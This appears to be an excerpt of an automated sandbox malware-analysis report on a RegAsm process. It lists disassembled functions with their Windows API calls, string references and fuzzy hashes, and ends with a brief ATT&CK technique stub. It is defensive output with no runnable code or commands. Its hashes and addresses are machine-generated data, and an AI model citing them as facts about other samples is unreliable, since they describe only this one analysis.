Instruction ID: 8e6f9c33d89f9ff23c57f6f5b8c674d738b59f648dc4862d0724623794e92734
Opcode Fuzzy Hash: 23e9664b3fb7366f39bb714dfc55e827943dd4001eb63e988844420fa94a86d9
Instruction Fuzzy Hash: EC012232600109AFCF058F69DC09DEE3F2AFB95334B280209F8119B2D1E671ED819B90

Function 004329C0 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,004CF54B,004D14FC,?,?,?,?,004D1CFC,?), ref: 004329CD
SetFileAttributesA.KERNEL32(00000000,004D14FC,?,?,004CF54B,004D14FC,?,?,?,?,004D1CFC,?), ref: 004329EE

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 12386571733a37637ddd6890e439b62685f63ed22ed4a98c9c9f8832668cd6db
Instruction ID: 2e0d4f1b5c32b1868c0f457daa7b9a8e52de4610b5ea62abe3406e041f3fbedf
Opcode Fuzzy Hash: 12386571733a37637ddd6890e439b62685f63ed22ed4a98c9c9f8832668cd6db
Instruction Fuzzy Hash: 9FE09AB0800108FBCF08EF65ED0A9EE3B78EA10300B10414AF80A97200DF38AA84DB88

Function 0055A27E Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0055EE11,0041C3C8,00000000,0041C3C8,?,0055F0B2,0041C3C8,00000007,0041C3C8,?,0055F6A7,0041C3C8,0041C3C8), ref: 0055A294
GetLastError.KERNEL32(0041C3C8,?,0055EE11,0041C3C8,00000000,0041C3C8,?,0055F0B2,0041C3C8,00000007,0041C3C8,?,0055F6A7,0041C3C8,0041C3C8), ref: 0055A29F

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4d1c5026c3904f481daf4fb59fd90dde15dad5c53c3045f5bc20291ab9e5b4da
Instruction ID: 8ed26743fbaf51122eab477a0bd9780bcad943624bc13415c5bc432f136e6ba9
Opcode Fuzzy Hash: 4d1c5026c3904f481daf4fb59fd90dde15dad5c53c3045f5bc20291ab9e5b4da
Instruction Fuzzy Hash: 26E08632500208A7DF212FA5EC0DB9A3F68BB50795F148061FD08D7061D7718994D790

Function 0054E055 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957b4befa80fd213fed2702a9ee42109debece5d9b7c5f52c25480a70aa6f59b
Instruction ID: 7a8ef4df4de97bed0830a54edfd8ff9ba76bd8d91e0a0323f447c3921c69e0ac
Opcode Fuzzy Hash: 957b4befa80fd213fed2702a9ee42109debece5d9b7c5f52c25480a70aa6f59b
Instruction Fuzzy Hash: B951A174A40208AFDB14CF58CC86AED7FB1BF99368F289158F8599B252D371DE41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: e1fd98a7c2df94842878fa3e36787d0b7f749a152f012729653bf26570cd00b0
Instruction ID: 396905e61a85ee7cb469ef08eb333dfefb1b217ed40053b0c40746d783e0293b
Opcode Fuzzy Hash: e1fd98a7c2df94842878fa3e36787d0b7f749a152f012729653bf26570cd00b0
Instruction Fuzzy Hash: 8B519FB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 004328D0 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 004329AA

Part of subcall function 0053E13A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E145
Part of subcall function 0053E13A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E17F

Part of subcall function 0053E0E9: AcquireSRWLockExclusive.KERNEL32(0058E970,-0000857D,?,004312C2,00590F6C), ref: 0053E0F3
Part of subcall function 0053E0E9: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E126
Part of subcall function 0053E0E9: WakeAllConditionVariable.KERNEL32(0058E96C,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E131

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 7e29f42be79e3e67de40783f63fb5da2717149b4edc89c1dbecb922198b048f0
Instruction ID: f05d738294284a2707c1c4bcfe3a7586b3066dbb0a99c363c0f4ff6616b6b23a
Opcode Fuzzy Hash: 7e29f42be79e3e67de40783f63fb5da2717149b4edc89c1dbecb922198b048f0
Instruction Fuzzy Hash: 0521A0B4E00209DFCF14DFA5C9859AEBBB1FF88304F14916AD84227394D775AA45CF92

Function 0042D7F0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042D800

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: 2c51513b035e714c8cece245521eb5d95cddaf636d0ef3c7c2467e79c146f524
Instruction ID: 9eb4858438fe1cc19048f9eaca0f68c77ea31ae7a76c266f68aae3d38659ed46
Opcode Fuzzy Hash: 2c51513b035e714c8cece245521eb5d95cddaf636d0ef3c7c2467e79c146f524
Instruction Fuzzy Hash: 441199B9E40209FFDB04DFE4D946BAEBBB4FB48700F1045A9EA15A7380D6716A00DB95

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: a569065a9ff0fe50d377a0e8031faf63b318ebff4c7835b1ea93d7c9bfaca13d
Instruction ID: b8dffde8c4d53ddc1fdc7b77f8d393bd4d55afb77080d1ac8e147c1d9f9ae2e4
Opcode Fuzzy Hash: a569065a9ff0fe50d377a0e8031faf63b318ebff4c7835b1ea93d7c9bfaca13d
Instruction Fuzzy Hash: 2BF04FF0D1010CABCB04EFA8C48169EFBB1EF84304F1081AAE805A7355E234AE81DB89

Function 005002E0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 005002FD

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: f0ea5fe5afaa99a04ff89d24012556af2be581b6187aa79058c6abbac779d48c
Instruction ID: 006b773024beb6f645be59b7014c9fc1002b69201082cde9ea1ff77af19d9334
Opcode Fuzzy Hash: f0ea5fe5afaa99a04ff89d24012556af2be581b6187aa79058c6abbac779d48c
Instruction Fuzzy Hash: DFF019B0C04209EBCB01EFA5D4557DEBFF4AB04344F1088AED8052B281D3796684CB96

Function 0055A2B8 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-00083D60,?,0053DE18,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055A2EA

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad447136b59a433971186c7c7f8f0f722be67231cbaebe10a1132c26c81586c0
Instruction ID: 6cb6558b5efe3f52e27bdb016dc2a99000d9f9b1f6d883c194c1b1d3c165b731
Opcode Fuzzy Hash: ad447136b59a433971186c7c7f8f0f722be67231cbaebe10a1132c26c81586c0
Instruction Fuzzy Hash: 6CE0E53510025266E6312A268C27B5B7E88FF917E2F114323ED15E7491DB22DC8942A7

Function 0051C040 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051BE00: SetLastError.KERNEL32(000005B6), ref: 0051BEAF

boost::exception::~exception.LIBCPMTD ref: 0051C084

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: 918e2524fab844d77573fd0e8de143e8fe11ee7d1b8f56cfc2a54ddee5cd10a4
Instruction ID: ffc7d5ddfcb0f440cd01e274b274de255b5ba913161c8c674b2380b5ff5930a7
Opcode Fuzzy Hash: 918e2524fab844d77573fd0e8de143e8fe11ee7d1b8f56cfc2a54ddee5cd10a4
Instruction Fuzzy Hash: 70F05871900549ABDB04DF84D942BAEBB78FB48B20F204328A425636C0DB341A00CB91

Function 0050B5E0 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050B636,0050BC7F,0000002E,00000000,?,0050BC7F), ref: 0050B5F0

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction ID: 8124ffe2edce7d7f898ee4d9a521b37cab89f3d081cd9ccb17f10f08d34ce7e4
Opcode Fuzzy Hash: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction Fuzzy Hash: 55F0C930A09649EFEB14CFA5DAD046EBFF9AB46341B2849D9E815D7240E732DF00EB50

Non-executed Functions

Function 00560341 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00559DA1: GetLastError.KERNEL32(00000000,-U,0055D312), ref: 00559DA5
Part of subcall function 00559DA1: SetLastError.KERNEL32(00000000,00000000,-00083D60,00000006,000000FF), ref: 00559E47

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00560395
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005603DF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005604A5

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: be0e3cb06716bbe29245391a757de95f2d0b669a3f81e01953a436014f735550
Instruction ID: 3e71a10973b5269e094e7880c39c97581a7078a23e9127b7308f47fa14e08f34
Opcode Fuzzy Hash: be0e3cb06716bbe29245391a757de95f2d0b669a3f81e01953a436014f735550
Instruction Fuzzy Hash: 6E6179719402079BEF289E28C986BBA7BA8FF54301F14516AEA06C75C1EB74ED81DB50

Function 0056021B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559DA1: GetLastError.KERNEL32(00000000,-U,0055D312), ref: 00559DA5
Part of subcall function 00559DA1: SetLastError.KERNEL32(00000000,00000000,-00083D60,00000006,000000FF), ref: 00559E47

EnumSystemLocalesW.KERNEL32(00560341,00000001,00000000,?,-00000050,?,00560975,00000000,?,?,?,00000055,?), ref: 0056028D

Strings

uV, xrefs: 00560262

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: uV
API String ID: 2417226690-4273028129
Opcode ID: b8e6c01b8815d9c3f2add84ceab7f027e13e1da3d980e65dcff60468d78fae2d
Instruction ID: b92ca046df3ce2109e3f7e5e2209843cf2aa91070741fa047a32cb993ae1332b
Opcode Fuzzy Hash: b8e6c01b8815d9c3f2add84ceab7f027e13e1da3d980e65dcff60468d78fae2d
Instruction Fuzzy Hash: E811083B2007059FDB189F39D8A56BBBBA2FFC4359B18452DE94687B80D771B942C740

Function 00560129 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00559DA1: GetLastError.KERNEL32(00000000,-U,0055D312), ref: 00559DA5
Part of subcall function 00559DA1: SetLastError.KERNEL32(00000000,00000000,-00083D60,00000006,000000FF), ref: 00559E47

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0056017D

Strings

utf8, xrefs: 005600EC

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 7792c11963631ff414a69a7a80837bc66d61dcd5a8b4df05ae8bc3d833475926
Instruction ID: 7ef4ce161d3c0a3e9a7447128f33b528091cbe43fedab01db256ed385816f894
Opcode Fuzzy Hash: 7792c11963631ff414a69a7a80837bc66d61dcd5a8b4df05ae8bc3d833475926
Instruction Fuzzy Hash: E9F0C832710206ABDB14AB78DC5AEBA37ECEF85315F14017EF902D7281EB78AD098751

Function 005602B6 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559DA1: GetLastError.KERNEL32(00000000,-U,0055D312), ref: 00559DA5
Part of subcall function 00559DA1: SetLastError.KERNEL32(00000000,00000000,-00083D60,00000006,000000FF), ref: 00559E47

EnumSystemLocalesW.KERNEL32(00560594,00000001,?,?,-00000050,?,0056093D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00560300

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e26d2836d483944f4b756570e8d56d5eba9f146c7cb3e270139b4d41bd2511e6
Instruction ID: 3f65a867f287a3ccfd79d1634e2e6483431e8cbf493299c328a0c4770ac411f1
Opcode Fuzzy Hash: e26d2836d483944f4b756570e8d56d5eba9f146c7cb3e270139b4d41bd2511e6
Instruction Fuzzy Hash: D0F0AF362003095FDB245F399899A6B7FA5FF84368F054869E9068B690D6B19C42CB50

Function 0055A3D5 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005588B1: EnterCriticalSection.KERNEL32(-00172DB0,?,00554762,00000000,005888B0,0000000C,0055472A,?,?,0055BF69,?,?,00559F3F,00000001,00000364,0041C3C8), ref: 005588C0

EnumSystemLocalesW.KERNEL32(0055A3C8,00000001,00588B70,0000000C,0055A7A0,00000000), ref: 0055A40D

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ba0fff60fdb3d244331ad4db3774322fae8655badc8a579bbf7c6307b81d8013
Instruction ID: 96deed7bce0d17370a0bc80643b215c26a670da738148aa951ef73d7323c2b80
Opcode Fuzzy Hash: ba0fff60fdb3d244331ad4db3774322fae8655badc8a579bbf7c6307b81d8013
Instruction Fuzzy Hash: F8F04F76A01305DFE700EF98D856B9C7BF0FB88725F10452AF800EB290CBB559049B41

Function 005601D0 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559DA1: GetLastError.KERNEL32(00000000,-U,0055D312), ref: 00559DA5
Part of subcall function 00559DA1: SetLastError.KERNEL32(00000000,00000000,-00083D60,00000006,000000FF), ref: 00559E47

EnumSystemLocalesW.KERNEL32(00560129,00000001,?,?,?,00560997,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00560207

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: aba603ebef7780da69639f0f1f724d3fb5e9fe46ecddb239390cbfdb1b5eb762
Instruction ID: 03d81a379056bd152a5f8d1ed10d2bed8e457006445bd2785d66c47c83a14850
Opcode Fuzzy Hash: aba603ebef7780da69639f0f1f724d3fb5e9fe46ecddb239390cbfdb1b5eb762
Instruction Fuzzy Hash: 54F0553A300209A7CB149F39DC29A6B7FA0FFC2714B0A0059EE058B680C2719882C750

Function 0042C1E0 Relevance: 1.5, APIs: 1, Instructions: 13timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0042C1EA

Part of subcall function 0042C1C0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042C1D5

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 3c94447d25ff451d594bb7243133f48d56ffbafdf3685538c1ebd7ebffa9fc0c
Instruction ID: d667d94456c993dc7e8fb619c06caafab8fab53be0a87cc097594b2c4d1b84c5
Opcode Fuzzy Hash: 3c94447d25ff451d594bb7243133f48d56ffbafdf3685538c1ebd7ebffa9fc0c
Instruction Fuzzy Hash: FDC012B6C0020C678E00EBE4BC4A89E7B2C9A10109F4005A5ED0982101FA35A36D8BD2

Function 005482E1 Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005483B7
UnDecorator::getSignedDimension.LIBCMT ref: 005483C2
UnDecorator::getSignedDimension.LIBCMT ref: 005484AE
UnDecorator::getSignedDimension.LIBCMT ref: 005484CB
UnDecorator::getSignedDimension.LIBCMT ref: 005484E8
DName::operator+.LIBCMT ref: 005484FD
UnDecorator::getSignedDimension.LIBCMT ref: 00548517
_swprintf.LIBCMTD ref: 00548591
DName::operator+.LIBCMT ref: 005485EC

Part of subcall function 00544427: DName::DName.LIBVCRUNTIME ref: 00544485

DName::DName.LIBVCRUNTIME ref: 00548663

Strings

NULL, xrefs: 00548375
`generic-class-parameter-, xrefs: 005485F8
lambda, xrefs: 0054864C
nullptr, xrefs: 0054862C
`template-type-parameter-, xrefs: 00548608
US, xrefs: 0054855E
`generic-method-parameter-, xrefs: 005485C8

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$US$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 138750261-3115556240
Opcode ID: d853d3c28989c9a9e0ef4b23657e600f5d84c96838c536be9683f6a299eb0d10
Instruction ID: 36e9cffa34b891b9f36001844d25471c618cbd2e2add2f1fd3ec29a749dd5b2e
Opcode Fuzzy Hash: d853d3c28989c9a9e0ef4b23657e600f5d84c96838c536be9683f6a299eb0d10
Instruction Fuzzy Hash: 489195B2D0420A9ADF18EFB4DD4EAFE7F78BB5530CF20081AE101A6192DF749A08D750

Function 00546259 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546322
DName::operator+.LIBCMT ref: 0054635F
DName::DName.LIBVCRUNTIME ref: 00546373
DName::operator+.LIBCMT ref: 00546382
DName::operator+.LIBCMT ref: 00546410
DName::DName.LIBVCRUNTIME ref: 00546438
DName::operator+.LIBCMT ref: 00546446
DName::operator+.LIBCMT ref: 00546480
DName::operator+.LIBCMT ref: 005464C1
UnDecorator::getReturnType.LIBCMT ref: 005464F1
operator+.LIBVCRUNTIME ref: 005465F3

Strings

0sT, xrefs: 00546429, 00546537

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID: 0sT
API String ID: 2932655852-3007218522
Opcode ID: ee0ed56db9a33b0ab24fbd9ab2c1d3474ed83fcf27501d249735b97acd82faad
Instruction ID: 6e691530ffea92a7864fbf85c05e23edb12c5225cfe17bf4215657aec41d7f09
Opcode Fuzzy Hash: ee0ed56db9a33b0ab24fbd9ab2c1d3474ed83fcf27501d249735b97acd82faad
Instruction Fuzzy Hash: 29C1A1B1900209AFCF18EFA4D89AEEE7FB8FF59308F100459F506A7291DB709A44CB51

Function 005083C0 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 338COMMON

Download Yara Rule

Strings

l, xrefs: 005086AC
h, xrefs: 00508610
Q, xrefs: 0050876B
B, xrefs: 005086B0
r, xrefs: 00508767
F, xrefs: 00508614

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: B$F$Q$h$l$r
API String ID: 0-3791832701
Opcode ID: 8d253708368f740d9e00b47fe103787e411d755431dd08d2a3bf72a9a948eccf
Instruction ID: 485a43ddadbdf6a67d5a0196c9142f4aff1bc9f14aae157e2fd770638d460465
Opcode Fuzzy Hash: 8d253708368f740d9e00b47fe103787e411d755431dd08d2a3bf72a9a948eccf
Instruction Fuzzy Hash: 12F12574D04259DFDB14CFA8C890BEEBBB1BF49304F1485A9D845AB382DB35AA45CF50

Function 0055430A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00554481

Strings

-, xrefs: 005543D2
+, xrefs: 005543DF

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: a4cda1c35f64b3a83466fda61ecf68876688f91fd7581aa58705a047ca2dec9a
Instruction ID: 33e767e7f82800838a4fd671bdf5a3f96b30f0341c6fe96786d0d11ecd8211c5
Opcode Fuzzy Hash: a4cda1c35f64b3a83466fda61ecf68876688f91fd7581aa58705a047ca2dec9a
Instruction Fuzzy Hash: 1BA1E230941158EFCF14CE7888607EE7FB1BF4532AF14855BEC659B291D234D9898F50

Function 005402FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

___unDName.LIBVCRUNTIME ref: 00540329

Part of subcall function 005494D7: ___unDNameEx.LIBVCRUNTIME ref: 005494F0

InterlockedPushEntrySList.KERNEL32(0040F01D,0040F01D,?,?,?,?,?,?,?,?,?,0040F01D,?,0058E940), ref: 005403A4

Strings

@X, xrefs: 00540385, 005403AA

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name___un$EntryInterlockedListPush
String ID: @X
API String ID: 723550680-3927199268
Opcode ID: 04e3b91bf62b463b1c1814205d14c25a8f43022341217da5349a3f967ef9175c
Instruction ID: c9e39f14b52078d5212bc9ddf32ccbb033187e2538a38c8002386d5393fe9df5
Opcode Fuzzy Hash: 04e3b91bf62b463b1c1814205d14c25a8f43022341217da5349a3f967ef9175c
Instruction Fuzzy Hash: A8213731500206AFDB019FA8CC89EEA7FB8FF8571CB340569E905DB282E672DD05CB90

Function 00546196 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005461AD
DName::DName.LIBVCRUNTIME ref: 00546232

Strings

A, xrefs: 00546212

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: 2ecd66f8c36d5798573c9acdf125e6f51d867086f787476ae7558204b1e2d0c6
Instruction ID: d98fa67f88b6ed1409eee5966c6fce669fd5d7b29acc1a70bcab8325742c9d7a
Opcode Fuzzy Hash: 2ecd66f8c36d5798573c9acdf125e6f51d867086f787476ae7558204b1e2d0c6
Instruction Fuzzy Hash: 2B21CD74904209BFDF04DF94D806BEC7FB1FB86308F008449E9459B262C7719A89DB42

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 0053F081: _Yarn.LIBCPMT ref: 0053F0A0
Part of subcall function 0053F081: _Yarn.LIBCPMT ref: 0053F0C4

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 6bde49a0c8a9ffda6d37a5c5eb1ebefb4c2d00989f52241553d14981c391c0af
Instruction ID: efc2cfbdee9d335f688bdb1b3ddc8016fd7f900a8a558ae9b5777e675f6acbcb
Opcode Fuzzy Hash: 6bde49a0c8a9ffda6d37a5c5eb1ebefb4c2d00989f52241553d14981c391c0af
Instruction Fuzzy Hash: A731F9B4E04209DFDB04CF98D995BAEFBB1FF48304F2481A9D805AB381C775AA41CB95

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

